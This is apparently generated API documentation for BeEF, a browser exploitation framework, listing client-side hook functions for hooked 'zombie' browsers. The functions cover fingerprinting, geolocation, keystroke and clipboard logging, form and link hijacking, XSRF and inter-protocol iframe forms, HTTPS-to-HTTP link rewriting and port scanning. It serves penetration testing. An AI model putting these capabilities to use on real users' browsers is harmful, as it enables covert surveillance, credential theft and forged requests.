(static) isC95iOS()

Returns true if Chrome for iOS 95.

Source:

(static) isC96()

Returns true if Chrome 96.

Source:

(static) isC96iOS()

Returns true if Chrome for iOS 96.

Source:

(static) isC97()

Returns true if Chrome 97.

Source:

(static) isC97iOS()

Returns true if Chrome for iOS 97.

Source:

(static) isC98()

Returns true if Chrome 98.

Source:

(static) isC98iOS()

Returns true if Chrome for iOS 98.

Source:

(static) isC99()

Returns true if Chrome 99.

Source:

(static) isC99iOS()

Returns true if Chrome for iOS 99.

Source:

(static) isCbowser()

Returns true for modern versions of Chrome (above 9).

Source:

(static) isEdge()

Returns true if Edge.

Source:

(static) isEpi()

Return true if Epiphany

Source:

(static) isFF()

Returns true if the browser is any version of Firefox.

Source:

(static) isFF10()

Returns true if FF10.

Source:

(static) isFF11()

Returns true if FF11.

Source:

(static) isFF12()

Returns true if FF12

Source:

(static) isFF13()

Returns true if FF13

Source:

(static) isFF14()

Returns true if FF14

Source:

(static) isFF15()

Returns true if FF15

Source:

(static) isFF16()

Returns true if FF16

Source:

(static) isFF17()

Returns true if FF17

Source:

(static) isFF18()

Returns true if FF18

Source:

(static) isFF19()

Returns true if FF19

Source:

(static) isFF2()

Returns true if FF2.

Source:

(static) isFF20()

Returns true if FF20

Source:

(static) isFF21()

Returns true if FF21

Source:

(static) isFF22()

Returns true if FF22

Source:

(static) isFF23()

Returns true if FF23

Source:

(static) isFF24()

Returns true if FF24

Source:

(static) isFF25()

Returns true if FF25

Source:

(static) isFF26()

Returns true if FF26

Source:

(static) isFF27()

Returns true if FF27

Source:

(static) isFF28()

Returns true if FF28

Source:

(static) isFF29()

Returns true if FF29

Source:

(static) isFF3()

Returns true if FF3.

Source:

(static) isFF30()

Returns true if FF30

Source:

(static) isFF31()

Returns true if FF31

Source:

(static) isFF32()

Returns true if FF32

Source:

(static) isFF33()

Returns true if FF33

Source:

(static) isFF34()

Returns true if FF34

Source:

(static) isFF35()

Returns true if FF35

Source:

(static) isFF36()

Returns true if FF36

Source:

(static) isFF37()

Returns true if FF37

Source:

(static) isFF38()

Returns true if FF38

Source:

(static) isFF39()

Returns true if FF39

Source:

(static) isFF3_5()

Returns true if FF3.5.

Source:

(static) isFF3_6()

Returns true if FF3.6.

Source:

(static) isFF4()

Returns true if FF4.

Source:

(static) isFF40()

Returns true if FF40

Source:

(static) isFF41()

Returns true if FF41

Source:

(static) isFF42()

Returns true if FF42

Source:

(static) isFF43()

Returns true if FF43

Source:

(static) isFF44()

Returns true if FF44

Source:

(static) isFF45()

Returns true if FF45

Source:

(static) isFF46()

Returns true if FF46

Source:

(static) isFF47()

Returns true if FF47

Source:

(static) isFF48()

Returns true if FF48

Source:

(static) isFF49()

Returns true if FF49

Source:

(static) isFF5()

Returns true if FF5.

Source:

(static) isFF50()

Returns true if FF50

Source:

(static) isFF51()

Returns true if FF51

Source:

(static) isFF52()

Returns true if FF52

Source:

(static) isFF53()

Returns true if FF53

Source:

(static) isFF54()

Returns true if FF54

Source:

(static) isFF55()

Returns true if FF55

Source:

(static) isFF56()

Returns true if FF56

Source:

(static) isFF57()

Returns true if FF57

Source:

(static) isFF58()

Returns true if FF58

Source:

(static) isFF59()

Returns true if FF59

Source:

(static) isFF6()

Returns true if FF6.

Source:

(static) isFF60()

Returns true if FF60

Source:

(static) isFF61()

Returns true if FF61

Source:

(static) isFF62()

Returns true if FF62

Source:

(static) isFF63()

Returns true if FF63

Source:

(static) isFF64()

Returns true if FF64

Source:

(static) isFF65()

Returns true if FF65

Source:

(static) isFF66()

Returns true if FF66

Source:

(static) isFF67()

Returns true if FF67

Source:

(static) isFF68()

Returns true if FF68

Source:

(static) isFF69()

Returns true if FF69

Source:

(static) isFF7()

Returns true if FF7.

Source:

(static) isFF70()

Returns true if FF70

Source:

(static) isFF71()

Returns true if FF71

Source:

(static) isFF72()

Returns true if FF72

Source:

(static) isFF73()

Returns true if FF73

Source:

(static) isFF74()

Returns true if FF74

Source:

(static) isFF75()

Returns true if FF75

Source:

(static) isFF76()

Returns true if FF76

Source:

(static) isFF77()

Returns true if FF77

Source:

(static) isFF78()

Returns true if FF78

Source:

(static) isFF79()

Returns true if FF79

Source:

(static) isFF8()

Returns true if FF8.

Source:

(static) isFF80()

Returns true if FF80

Source:

(static) isFF81()

Returns true if FF81

Source:

(static) isFF82()

Returns true if FF82

Source:

(static) isFF83()

Returns true if FF83

Source:

(static) isFF84()

Returns true if FF84

Source:

(static) isFF85()

Returns true if FF85

Source:

(static) isFF86()

Returns true if FF86

Source:

(static) isFF87()

Returns true if FF87

Source:

(static) isFF88()

Returns true if FF88

Source:

(static) isFF89()

Returns true if FF89

Source:

(static) isFF9()

Returns true if FF9.

Source:

(static) isFF90()

Returns true if FF90

Source:

(static) isFF91()

Returns true if FF91

Source:

(static) isFF92()

Returns true if FF92

Source:

(static) isFF93()

Returns true if FF93

Source:

(static) isFF94()

Returns true if FF94

Source:

(static) isFF95()

Returns true if FF95

Source:

(static) isFF96()

Returns true if FF96

Source:

(static) isFF97()

Returns true if FF97

Source:

(static) isFF98()

Returns true if FF98

Source:

(static) isFF99()

Returns true if FF99

Source:

(static) isFFbowser()

Returns true if the browser is any version of Firefox.

Source:

(static) isIE()

Returns true if IE.

Source:

(static) isIE10()

Returns true if IE10.

Source:

(static) isIE11()

Returns true if IE11.

Source:

(static) isIE6()

Returns true if IE6.

Source:

(static) isIE7()

Returns true if IE7.

Source:

(static) isIE8()

Returns true if IE8.

Source:

(static) isIE9()

Returns true if IE9.

Source:

(static) isIceweasel()

Returns true if Iceweasel.

Source:

(static) isMidori()

Returns true if Midori.

Source:

(static) isO()

Returns true if Opera.

Source:

(static) isO10()

Returns true if Opera 10.xx.

Source:

(static) isO11()

Returns true if Opera 11.xx.

Source:

(static) isO12()

Returns true if Opera 12.xx.

Source:

(static) isO9_52()

Returns true if Opera 9.50 through 9.52.

Source:

(static) isO9_60()

Returns true if Opera 9.60 through 9.64.

Source:

(static) isObowser()

Returns true if the browser is any version of Opera.

Source:

(static) isOdyssey()

Returns true if Odyssey

Source:

(static) isS()

Returns true if Safari.

Source:

(static) isS4()

Returns true if Safari 4.xx

Source:

(static) isS5()

Returns true if Safari 5.xx

Source:

(static) isS6()

Returns true if Safari 6.xx

Source:

(static) isS7()

Returns true if Safari 7.xx

Source:

(static) isS8()

Returns true if Safari 8.xx

Source:

(static) isWebKitBased()

Returns true if Webkit based

Source:

(static) javaEnabled()

Checks if the zombie has Java enabled.

Source:

(static) type()

Returns the type of browser being used.

Source:

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/beef.browser.popup.html ================================================ JSDoc: Namespace: popup

Namespace: popup

.browser.popup

Provides fuctions for working with cookies. Several functions adopted from http://davidwalsh.name/popup-block-javascript Original author unknown.

Source:

Methods

(static) blocker_enabled()

Source:

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/beef.dom.html ================================================ JSDoc: Namespace: dom

Namespace: dom

dom

Provides functionality to manipulate the DOM.

Source:

Methods

(static) attachApplet(id:, code:, codebase:, archive:, params:)

Attach an applet to the DOM, using the best approach for differet browsers (object/applet/embed). example usage in the code, using a JAR archive (recommended and faster): beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]); example usage in the code, using codebase: beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);

Parameters:
Name Type Description
id: String

reference identifier to the applet.

code: String

name of the class to be loaded. For example, beef.class.

codebase: String

the URL of the codebase (usually used when loading a single class for an unsigned applet).

archive: String

the jar that contains the code.

params: String

an array of additional params that the applet except.

Source:

(static) createElement(type, attributes) → {Array}

Creates a new element but does not append it to the DOM.

Parameters:
Name Type Description
type String

the name of the element.

attributes Array

the attributes of that element.

Source:
Returns:

the created element.

Type
Array

(static) createForm(params:, append:) → {Object}

Create a form element with the specified parameters, appending it to the DOM if append == true

Parameters:
Name Type Description
params: Hash

params to be applied to the form element

append: Boolean

automatically append the form to the body

Source:
Returns:

a form object

Type
Object

(static) createIframe(type:, params:, styles:, a) → {Object}

Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter is assigned to created iframe tag's src attribute resulting in GET request to that URI. example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);

Parameters:
Name Type Description
type: String

can be 'hidden' or 'fullScreen'. defaults to normal

params: Hash

list of params that will be sent in request.

styles: Hash

css styling attributes, these are merged with the defaults specified in the type parameter

a function

callback function to fire once the iFrame has loaded

Source:
Returns:

the inserted iFrame

Type
Object

(static) createIframeIpecForm(rhost:, rport:, commands:)

Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.

Parameters:
Name Type Description
rhost: String

remote host ip/domain

rport: String

remote port

commands: String

protocol commands to be executed by the remote host:port service

Source:

(static) createIframeXsrfForm(action:, method:, enctype:, inputs:)

Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.

Parameters:
Name Type Description
action: String

the form action attribute, where the request will be sent.

method: String

HTTP method, usually POST.

enctype: String

form encoding type

inputs: Array

an array of inputs to be added to the form (type, name, value). example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]

Source:

(static) createInvisibleIframe() → {array}

Creates an invisible iframe on the hook browser's page.

Source:
Returns:

the iframe.

Type
array

(static) detachApplet(id:)

Given an id, remove the applet from the DOM.

Parameters:
Name Type Description
id: String

reference identifier to the applet.

Source:

(static) generateID(prefix) → {String}

Generates a random ID for HTML elements

Parameters:
Name Type Description
prefix String

a custom prefix before the random id. defaults to "beef-"

Source:
Returns:

generated id

Type
String

(static) getHighestZindex(whether) → {Integer|Hash}

Returns the highest current z-index

Parameters:
Name Type Description
whether Boolean

to return an associative array with the height AND the ID of the element

Source:
Returns:
  • Highest z-index in the DOM OR

    Type
    Integer
  • A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}

    Type
    Hash

Get links of the current page.

Source:
Returns:

array of URLs.

(static) getLocation()

Get the location of the current page.

Source:
Returns:

the location.

(static) grayOut(vis:, options:)

Load a full screen div that is black, or, transparent

Parameters:
Name Type Description
vis: Boolean

whether or not you want the screen dimmer enabled or not

options: Hash

a collection of options to customise how the div is configured, as follows: opacity:0-100 // Lower number = less grayout higher = more of a blackout // By default this is 70 zindex: # // HTML elements with a higher zindex appear on top of the gray out // By default this will use beef.dom.getHighestZindex to always go to the top bgcolor: (#xxxxxx) // Standard RGB Hex color code // By default this is #000000

Source:

(static) isDOMElement(the) → {boolean}

Tests if the object is a DOM element.

Parameters:
Name Type Description
the Object

DOM element.

Source:
Returns:

true if the object is a DOM element.

Type
boolean

(static) parseAppletParams(an) → {String}

Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed

Parameters:
Name Type Description
an Array

array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]

Source:
Returns:

the parameters as a string ready to append to applet/embed/object tags (ex.: ).

Type
String

(static) persistentIframe()

Load the link (href value) in an overlay foreground iFrame. The BeEF hook continues to run in background. NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses Framebusting techniques, this will not work.

Source:

(static) removeElement(el)

Removes element from the DOM.

Parameters:
Name Type Description
el Object

the target element to be removed.

Source:

(static) removeStylesheets()

Remove all external and internal stylesheets from the current page - sometimes prior to socially engineering, or, re-writing a document this is useful.

Source:

Rewrites all links matched by selector to url, also rebinds the click method to simply return true

Parameters:
Name Type Description
url: String

the url to be rewritten

selector: String

the jquery selector statement to use, defaults to all a tags.

Source:
Returns:

the amount of links found in the DOM and rewritten.

Type
Number

(static) rewriteLinksClickEvents(url:, selector:) → {Number}

Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting. http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html

Parameters:
Name Type Description
url: String

the url to be rewritten

selector: String

the jquery selector statement to use, defaults to all a tags.

Source:
Returns:

the amount of links found in the DOM and rewritten.

Type
Number

(static) rewriteLinksProtocol(old_protocol:, new_protocol:, selector:) → {Number}

Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)

Parameters:
Name Type Description
old_protocol: String

the old link protocol to be rewritten

new_protocol: String

the new link protocol to be written

selector: String

the jquery selector statement to use, defaults to all a tags.

Source:
Returns:

the amount of links found in the DOM and rewritten.

Type
Number

Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number

Parameters:
Name Type Description
new_number: String

the new link telephone number to be written

selector: String

the jquery selector statement to use, defaults to all a tags.

Source:
Returns:

the amount of links found in the DOM and rewritten.

Type
Number

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/beef.encode.base64.html ================================================ JSDoc: Namespace: base64

Namespace: base64

base64

Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662

Source:

Methods

(static) decode(input) → {string}

Parameters:
Name Type Description
input string
Source:
Returns:
Type
string

(static) encode(input) → {string}

Parameters:
Name Type Description
input string
Source:
Returns:
Type
string

(static) utf8_decode(utftext) → {string}

Parameters:
Name Type Description
utftext string
Source:
Returns:
Type
string

(static) utf8_encode(string) → {string}

Parameters:
Name Type Description
string string
Source:
Returns:
Type
string

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/beef.encode.json.html ================================================ JSDoc: Namespace: json

Namespace: json

json


Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/beef.geolocation.html ================================================ JSDoc: Namespace: geolocation

Namespace: geolocation

geolocation

Provides functionalities to use the geolocation API.

Source:

Methods

(static) getGeolocation(command_url, command_id)

Retrieve latitude/longitude using the geolocation API

Parameters:
Name Type Description
command_url
command_id
Source:

(static) getOpenStreetMapAddress(command_url, command_id, latitude, longitude)

Given latitude/longitude retrieves exact street position of the zombie

Parameters:
Name Type Description
command_url
command_id
latitude
longitude
Source:

(static) isGeolocationEnabled() → {boolean}

Check if browser supports the geolocation API

Source:
Returns:
Type
boolean

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/beef.hardware.html ================================================ JSDoc: Namespace: hardware

Namespace: hardware

hardware

Source:

Methods

(static) getBatteryDetails() → {Object}

Returns battery details

Source:
Returns:
Type
Object

(static) getCpuArch() → {String}

Source:
Returns:

CPU type

Type
String

(static) getCpuCores() → {String}

Returns number of CPU cores

Source:
Returns:
Type
String

(static) getCpuDetails() → {String}

Returns CPU details

Source:
Returns:
Type
String

(static) getGpuDetails() → {object}

Returns GPU details

Source:
Returns:
Type
object

(static) getMemory() → {String}

Returns RAM (GiB)

Source:
Returns:
Type
String

(static) getScreenSize() → {Object}

Returns zombie screen size and color depth.

Source:
Returns:
Type
Object

(static) isEricsson() → {Boolean}

Is Ericsson?

Source:
Returns:

true or false.

Type
Boolean

(static) isGameConsole() → {Boolean}

Returns true if the browser is on a game console

Source:
Returns:

true or false

Type
Boolean

(static) isGoogle() → {Boolean}

Is Google?

Source:
Returns:

true or false.

Type
Boolean

(static) isHtc() → {Boolean}

Is HTC?

Source:
Returns:

true or false.

Type
Boolean

(static) isLaptop() → {Boolean}

Is a Laptop?

Source:
Returns:

true or false.

Type
Boolean

(static) isMobileDevice() → {Boolean}

Returns true if the browser is on a Mobile device

Source:
Returns:

true or false

Type
Boolean

(static) isMotorola() → {Boolean}

Is Motorola?

Source:
Returns:

true or false.

Type
Boolean

(static) isNokia() → {Boolean}

Is Nokia?

Source:
Returns:

true or false.

Type
Boolean

(static) isTouchEnabled() → {Boolean}

Is touch enabled?

Source:
Returns:

true or false.

Type
Boolean

(static) isVirtualMachine() → {Boolean}

Is virtual machine?

Source:
Returns:

true or false.

Type
Boolean

(static) isZune() → {Boolean}

Is Zune?

Source:
Returns:

true or false.

Type
Boolean

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/beef.init.html ================================================ JSDoc: Namespace: init

Namespace: init

init

Contains the beef_init() method which starts the BeEF client-side logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.

If beef.pageIsLoaded is true, then this JS has been loaded >1 times and will have a new session id. The new session id will need to know the brwoser details. So sendback the browser details again.

Source:

Methods

(static) beef_init()

Starts the polling mechanism, and initialize various components:

  • browser details (see browser.js) are sent back to the "/init" handler
  • the polling starts (checks for new commands, and execute them)
  • the logger component is initialized (see logger.js)
  • the Autorun Engine is initialized (see are.js)
Source:

(static) window.onclose()

Source:

(static) window.onload()

Source:

(static) window.onpopstate()

Source:

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/beef.js.html ================================================ JSDoc: Source: beef.js

Source: beef.js

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

/*!
 * BeEF JS Library <%= @beef_version %>
 * Register the BeEF JS on the window object.
 */

$j = jQuery.noConflict();

if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {

    /**
     * Register the BeEF JS on the window object.
     * @namespace {Object} BeefJS 
     * @property {string} version BeEf Version
     * @property {boolean} pageIsLoaded This gets set to true during window.onload(). It's a useful hack when messing with document.write().
     * @property {array} onpopstate An array containing functions to be executed by the window.onpopstate() method.
     * @property {array} onclose An array containing functions to be executed by the window.onclose() method.
     * @property {array} commands An array containing functions to be executed by Beef.
     * @property {array} components An array containing all the BeEF JS components.
     */

    var BeefJS = {
        
        version: '<%= @beef_version %>',
        pageIsLoaded: false,
        onpopstate: new Array(),
        onclose: new Array(),
        commands: new Array(),
        components: new Array(),

        /**
         * Adds a function to display debug messages (wraps console.log())
         * @param: {string} the debug string to return
         */
        debug: function(msg) {
            isDebug = '<%= @client_debug %>'
            if (typeof console == "object" && typeof console.log == "function" && isDebug === 'true') {
                var currentdate = new Date();
                var pad = function(n){return ("0" + n).slice(-2);}
                var datetime = currentdate.getFullYear() + "-"
                + pad(currentdate.getMonth()+1)  + "-"
                + pad(currentdate.getDate()) + " "
                + pad(currentdate.getHours()) + ":"
                + pad(currentdate.getMinutes()) + ":"
                + pad(currentdate.getSeconds());
                console.log('['+datetime+'] '+msg);
            } else {
                // TODO: maybe add a callback to BeEF server for debugging purposes
                //window.alert(msg);
            }
        },

        /**
        * Adds a function to execute.
        * @param: {Function} the function to execute.
        */
        execute: function(fn) {
                if ( typeof  beef.websocket == "undefined"){
                    this.commands.push(fn);
                }else{
                    fn();
                }
        },

       /**
        * Registers a component in BeEF JS.
        * @params: {String} the component.
        *
        * Components are very important to register so the framework does not
        * send them back over and over again.
        */
        regCmp: function(component) {
                this.components.push(component);
        }

    };

    window.beef = BeefJS;
}

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/beef.logger.html ================================================ JSDoc: Namespace: logger

Namespace: logger

logger

Provides logging capabilities.

Source:

Members

(static) events

Holds events created by user, to be sent back to BeEF

Source:

(static) id

Internal logger id

Source:

(static) in_submit

Prevents from recursive event handling on form submission

Source:

(static) stream

Holds current stream of key presses

Source:

(static) target

Contains current target of key presses

Source:

(static) time

Holds the time the logger was started

Source:

Methods

(static) click()

Click function fires when the user clicks the mouse.

Source:

(static) console()

Console function fires when data is sent to the browser console.

Source:

(static) copy()

Copy function fires when the user copies data to the clipboard.

Source:

(static) cut()

Cut function fires when the user cuts data to the clipboard.

Source:

(static) e()

Holds the event details to be sent to BeEF

Source:

(static) get_dom_identifier()

Translate DOM Object to a readable string

Source:

(static) get_id()

Get id

Source:

(static) get_timestamp() → {String}

Formats the timestamp

Source:
Returns:

timestamp string

Type
String

(static) keypress(e:)

Keypress function fires everytime a key is pressed.

Parameters:
Name Type Description
e: Object

event object

Source:

(static) parse_stream()

Parses stream array and creates history string

Source:

(static) paste()

Paste function fires when the user pastes data from the clipboard.

Source:

(static) push_stream()

Pushes the current stream to the events queue

Source:

(static) queue()

Queue results to be sent back to framework

Source:

(static) start()

Starts the logger

Source:

(static) stop()

Stops the logger

Source:

(static) submit()

Submit function fires whenever a form is submitted TODO: Cleanup this function

Source:

(static) win_blur()

Fires when the window element has lost focus

Source:

(static) win_focus()

Fires when the window element has regained focus

Source:

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/beef.mitb.html ================================================ JSDoc: Namespace: mitb

Namespace: mitb

mitb

Source:

Methods

(static) endSession()

Signals the Framework that the user has lost the hook

Source:

(static) fetch()

Fetches a hooked link with AJAX

Source:

(static) fetchForm()

Fetches a hooked form with AJAX

Source:

(static) fetchOnclick()

Fetches a window.location=http://domainname.com and setting up history

Source:

(static) hook()

Initializes the hook on anchors and forms.

Source:

(static) init()

Initializes

Source:

(static) poisonAnchor()

Hooks anchors and prevents them from linking away

Source:

(static) poisonForm()

Hooks forms and prevents them from linking away

Source:

(static) sniff()

Relays an entry to the framework

Source:

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/beef.net.connection.html ================================================ JSDoc: Namespace: connection

Namespace: connection

.net.connection

beef.net.connection - wraps Mozilla's Network Information API https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection

Source:

Methods

(static) downlinkMax() → {String}

Returns the maximum downlink speed of the connection. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax

Source:
Returns:

downlink max or 'unknown'.

Type
String
Example
beef.net.connection.downlinkMax()

(static) type() → {String}

Returns the connection type. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type

Source:
Returns:

connection type or 'unknown'.

Type
String
Example
beef.net.connection.type()

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/beef.net.cors.html ================================================ JSDoc: Namespace: cors

Namespace: cors

.net.cors

Source:

Methods

(static) request(method, url, data, timeout, callback)

Make a cross-origin request using CORS

Parameters:
Name Type Description
method String

HTTP verb ('GET', 'POST', 'DELETE', etc.)

url String

url

data String

request body

timeout Integer

request timeout in milliseconds

callback function

function to callback on completion

Source:

(static) response()

Response Object - used in the beef.net.request callback

Source:

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/beef.net.dns.html ================================================ JSDoc: Namespace: dns

Namespace: dns

.net.dns

request object structure:

  • msgId: {Integer} Unique message ID for the request.
  • domain: {String} Remote domain to retrieve the data.
  • wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED
  • callback: {Function} Callback function to receive the number of requests sent.
Source:

Methods

(static) send(msgId, data, domain, callback)

Parameters:
Name Type Description
msgId
data
domain
callback
Source:

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/beef.net.html ================================================ JSDoc: Namespace: net

Namespace: net

net

Provides basic networking functions, like beef.net.request and beef.net.forgeRequest, used by BeEF command modules and the Requester extension, as well as beef.net.send which is used to return commands to BeEF server-side components.

Also, it contains the core methods used by the XHR-polling mechanism (flush, queue)

Source:

Namespaces

connection
cors
dns
local
portscanner
requester
xssrays

Methods

(static) array_has_string_key()

Detects if an array has a string key

Source:

(static) browser_details()

Sends back browser details to framework, calling beef.browser.getDetails()

Source:

(static) chunk(str, amount)

Split the input data into chunk lengths determined by the amount parameter.

Parameters:
Name Type Description
str String

the input data

amount Integer

chunk length

Source:

(static) clean()

this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {} http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/

Source:

(static) command()

Command object. This represents the data to be sent back to BeEF, using the beef.net.send() method.

Source:

(static) flush()

Flush all currently queued command results to the framework, chopping the data in chunks ('chunk' method) which will be re-assembled server-side by the network stack. NOTE: currently 'flush' is used only with the default XHR-polling mechanism. If WebSockets are used, the data is sent back to BeEF straight away.

Source:

(static) forge_request()

Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:

  • requestid: needed on the callback
  • allowCrossOrigin: set cross-origin requests as allowed or blocked

forge_request is used mainly by the Requester and Tunneling Proxy Extensions. Example usage: beef.net.forge_request("http", "POST", "172.20.40.50", 8080, "/lulz", true, null, { foo: "bar" }, 5, 'html', false, null, function(response) { alert(response.response_body)})

Source:

(static) is_valid_ip()

Checks if the specified IP address is valid

Source:

(static) is_valid_ip_range()

Checks if the specified IP address range is valid

Source:

(static) is_valid_port()

Checks if the specified port is valid

Source:

(static) packet()

Packet object. A single chunk of data. X packets -> 1 stream

Source:

(static) push(stream)

Push the input stream back to the BeEF server-side components. It uses beef.net.request to send back the data.

Parameters:
Name Type Description
stream Object

the stream object to be sent back.

Source:

(static) queue(handler, cid, results, status, callback)

Queues the specified command results.

Parameters:
Name Type Description
handler String

the server-side handler that will be called

cid Integer

command id

results String

the data to send

status Integer

the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')

callback function

the function to call after execution

Source:

(static) request(scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) → {Object}

Performs http requests

Parameters:
Name Type Description
scheme String

HTTP or HTTPS

method String

GET or POST

domain String

bindshell.net, 192.168.3.4, etc

port Int

80, 5900, etc

path String

/path/to/resource

anchor String

this is the value that comes after the # in the URL

data String

This will be used as the query string for a GET or post data for a POST

timeout Int

timeout the request after N seconds

dataType String

specify the data return type expected (ie text/html/script)

callback function

call the callback function at the completion of the method

Source:
Returns:

this object contains the response details

Type
Object

(static) response()

Response Object - used in the beef.net.request callback NOTE: as we are using async mode, the response object will be empty if returned. Using sync mode, request obj fields will be populated.

Source:

(static) send(handler, cid, results, exec_status, callback) → {Integer}

Queues the current command results and flushes the queue straight away. NOTE: Always send Browser Fingerprinting results (beef.net.browser_details(); -> /init handler) using normal XHR-polling, even if WebSockets are enabled.

Parameters:
Name Type Description
handler String

the server-side handler that will be called

cid Integer

command id

results String

the data to send

exec_status Integer

the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')

callback function

the function to call after execution

Source:
Returns:

the command module execution status (defaults to 0 - 'unknown' if status is null)

Type
Integer

(static) stream()

Stream object. Contains X packets, which are command result chunks.

Source:

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/beef.net.local.html ================================================ JSDoc: Namespace: local

Namespace: local

.net.local

Provides networking functions for the local/internal network of the zombie.

Source:

Methods

(static) getLocalAddress() → {String}

Returns the internal IP address of the zombie.

Source:
Returns:

the internal ip of the zombie.

Type
String

(static) getLocalHostname() → {String}

Returns the internal hostname of the zombie.

Source:
Returns:

the internal hostname of the zombie.

Type
String

(static) initializeSocket()

Initializes the java socket. We have to use this method because some browsers do not have java installed or it is not accessible. in which case creating a socket directly generates an error. So this code is invalid: sock: new java.net.Socket();

Source:

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/beef.net.portscanner.html ================================================ JSDoc: Namespace: portscanner

Namespace: portscanner

.net.portscanner

Provides port scanning functions for the zombie. A mod of pdp's scanner

Version: '0.1', author: 'Petko Petkov', homepage: 'http://www.gnucitizen.org'

Source:

Methods

(static) scanPort(callback, target, port, timeout)

Parameters:
Name Type Description
callback
target
port
timeout
Source:

(static) scanTarget(callback, target, ports_str, timeout)

Parameters:
Name Type Description
callback
target
ports_str
timeout
Source:

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/beef.net.requester.html ================================================ JSDoc: Namespace: requester

Namespace: requester

.net.requester

request object structure:

  • method: {String} HTTP method to use (GET or POST).
  • host: {String} hostname
  • query_string: {String} The query string is a part of the URL which is passed to the program.
  • uri: {String} The URI syntax consists of a URI scheme name.
  • headers: {Array} contain the operating parameters of the HTTP request.
Source:

Methods

(static) send(requests_array)

Parameters:
Name Type Description
requests_array array
Source:

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/beef.net.xssrays.html ================================================ JSDoc: Namespace: xssrays

Namespace: xssrays

.net.xssrays

XssRays 0.5.5 ported to BeEF by Michele "antisnatchor" Orru' The XSS detection mechanisms has been rewritten from scratch: instead of using the location hash trick (that doesn't work anymore), if the vulnerability is triggered the JS code vector will contact back BeEF. Other aspects of the original code have been simplified and improved.

Source:

Methods

(static) checkBrowser(vector_array_index)

return true is the attack vector can be launched to the current browser type.

Parameters:
Name Type Description
vector_array_index array
Source:

(static) run(url, method, vector, params, urlencode)

this is the main core function with the detection mechanisms...

Parameters:
Name Type Description
url
method
vector
params
urlencode
Source:

(static) runJobs()

run the jobs (run functions added to the stack), and clean the shit (iframes) from the DOM after a timeout value

Source:

